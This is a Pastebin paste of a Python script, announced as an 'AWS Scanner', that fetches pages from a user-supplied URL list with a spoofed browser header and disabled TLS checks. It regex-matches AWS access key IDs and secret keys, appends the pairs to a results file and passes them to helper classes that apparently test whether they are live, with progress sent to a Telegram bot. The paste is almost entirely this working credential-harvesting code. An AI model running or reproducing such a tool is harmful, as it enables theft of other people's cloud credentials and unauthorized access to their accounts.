Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- from config.configuration import Github
- import sys
- import time
- from datetime import datetime
- from bs4 import BeautifulSoup
- import re
- import requests
- import os
- from lib.Client import Client
- from lib.Telegram import TelegramBot
- from lib.Rotate import RotateKey
- def setup():
- print('''
- L0lz
- ''')
- if not os.path.isdir('results'):
- os.mkdir('results')
- res = ["keys.txt", "active_keys.txt", "limits.txt"]
- for p in res:
- if not os.path.isfile('results/' + p):
- open('results/'+p, 'w').close()
- class Main(Client, RotateKey):
- def __init__(self) -> None:
- self.botmsg = TelegramBot()
- def extract_key(self, content: str, url: str):
- self.print_format('Extracting key from: ' + url)
- global botmsg
- try:
- aws_key = re.findall(
- r'[\s\#\$\&\(\)\-\_\:\?\'\"\=\>\<\n\;].?(AKIA[A-Z0-9]{16})[\s\#\$\&\(\)\-\_\:\?\'\"\=\>\<\n\;]?', content)
- aws_secret = re.findall(
- r'[\s\#\$\&\(\)\-\_\:\?\'\"\=\>\<\n\;].?([\w\/\-\+]{40})[\s\#\$\&\(\)\-\_\:\?\'\"\=\>\<\n\;]?', content)
- if len(aws_key) > 0 and len(aws_secret) > 0:
- for key in aws_key:
- if key not in open('results/keys.txt', mode='r').read():
- for secret in aws_secret:
- awskey = '{}|{}|us-east-1'.format(key, secret)
- self.print_format('Found Key: ' + awskey)
- with open('results/keys.txt', mode='a') as f:
- f.write(awskey + '\n')
- Client.__init__(self, aws_key=key, aws_secret_key=secret, aws_fullkey=awskey)
- Client.configure(self)
- RotateKey.__init__(self, Client)
- RotateKey.check_valid(self)
- #Client.set_boto3_session(self, RotateKey.get_boto3_session(self))
- #Client.check_valid(self)
- #print(Client.get_boto3_session(self).get_credentials().access_key)
- #print(RotateKey.get_boto3_session(self).get_credentials().access_key)
- # super().__init__(aws_key=key, aws_secret_key=secret, aws_fullkey=awskey)
- # self.configure()
- # self.check_valid()
- else:
- self.print_format('Key: ' + key + ' already in database')
- else:
- self.print_format('Cant find aws key at: ' + url)
- except Exception as e:
- print(e, 'Main.extract_key')
- def extract_data(self, url: str):
- try:
- resp = requests.get(url, headers={
- 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36'}, verify=False)
- self.extract_key(resp.text, url)
- except Exception as e:
- print(e, 'Main.extract_data')
- def print_format(self, msg: str):
- print('[' + datetime.now().strftime("%H:%M:%S") + '] ' + msg)
- if __name__ == '__main__':
- setup()
- main = Main()
- main.botmsg.send_message_as_string('Starting AWS Scanner ...')
- list_url = open(input('Enter list url: '), mode='r').read().splitlines()
- for url in list_url:
- main.extract_data(url)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement